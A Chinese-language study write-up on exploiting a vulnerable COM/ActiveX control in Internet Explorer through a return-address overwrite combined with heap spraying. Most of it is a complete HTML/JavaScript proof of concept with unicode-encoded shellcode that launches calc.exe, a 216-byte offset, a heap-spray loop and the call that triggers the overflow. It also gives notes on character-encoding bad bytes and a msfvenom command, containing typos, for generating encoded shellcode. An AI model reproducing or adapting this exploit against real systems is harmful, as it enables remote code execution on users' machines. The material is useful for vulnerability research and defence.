com组件安全研究,已然是老古董了。以下是学习研究总结,采用的是覆盖返回地址结合堆喷的技术达到任意代码执行。
ollydbg调试com组件
Iexplore.exe 在匹配到对应的com组件后会通过DispCallFunc
函数转置对应的注册组件对象接口函数。
因此,可对此函数下断点。如下图所示(来自0day2):
定位漏洞触发点
一般选用以下两种方式:
1. 覆盖返回地址
2. 覆盖最近的异常处理地址
采用第1种:
可计算出,返回地址距离不受限制的字符串地址为216字节。
POC
<html>
Test Exploit page
<object classid='clsid:8EF2A07C-6E69-4144-96AA-2247D892A73D' id='target' ></object>
<script language='javascript'>
/*Calc.exe alpha_upper badchars --> "\x8b\x93\x83\x8a\x8c\x8d\x8f\x8e\x87\x81\x84\x86\x88\x89\x90\x91\x92\x94\x95\x96\x97\x98\x99\x82\x85
\x9f\x9a\x9e\x9d\x9b\x9f\x76
shell="\x33\xC0\x50\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x8D\x04\x24\x50\xB8\x9D\x13\x76\x6C\x05\x10\x10\x10\x10\xFF\xD0\xB8\xDA\xAA\x61\x5C\x05\x20\x20\x20\x20\xFF\xD0";
*/
/* need unicode */
shell="%uc033%u6850%u652e%u6578%u6368%u6c61%u8d63%u2404%ub850%u139d%u6c76%u1005%u1010%uff10%ub8d0%uaada%u5c61%u2005%u2020%uff20%u90d0";
shell=unescape(shell);
/*
wrong because of unicode encode by iexplorer
chunk="\x90";
while (chunk.length<=0x100000)
{
chunk+=chunk;
}
chunk=chunk.substring(0,0x100000-32-4-1-shell.length));
var slide = new Array();
for (var i=0;i<=200;i++)
{
slide[i] = chunk+shell;
}
*/
chunk=unescape("%u9090%u9090");
while (chunk.length<0x100000/2)
{
chunk+=chunk;
}
chunk=chunk.substring(0,(0x100000-32-4-1-shell.length)/2);
var slide = new Array();
for (var i=0;i<=200;i++)
{
slide[i] = chunk+shell;
}
/*
op = unescape("%u0606%0606"); //wrong
op = "\x06\x06\x06\x06"; 常用0c0c0c0c. 一般 04040404~0b0b0b0b的之间的堆空间都可以。
*/
op = "\x06\x06\x06\x06";
nops="\x90";
while (nops.length<20){ nops+="\x90";}
junk1="A";
while (junk1.length<216){ junk1+=junk1;}
junk1=junk1.substring(0,216);
arg1=junk1+op+nops+shell;
target.Method1(arg1);
</script>
</html>
为什么选择堆喷而不是类似jmp esp的方式
- 堆喷相当稳定
- 绕过字符编码问题
字符编码
受WideCharToMultiByte
的影响,对于ascii值大于等于0x80的字符会被自动转化为0x3f。
例如:
jmp esp的地址:
\x49\xF0\xDE\x77.
在传递给有漏洞函数时会变为
\x49\x3F\x3F\x77
当然这可以在进程空间找到另一个不会被转换的跳板指令。
对于payload的shellcode 的坏字符可使用metasploit的工具msfvenom 进行相应编码转换
命令部分:
msfvenom -a x86 --platform windows -p windwos/exec CMD="calc.exe" -e x86/aipha_mixed BufferRegister=ESP -f -c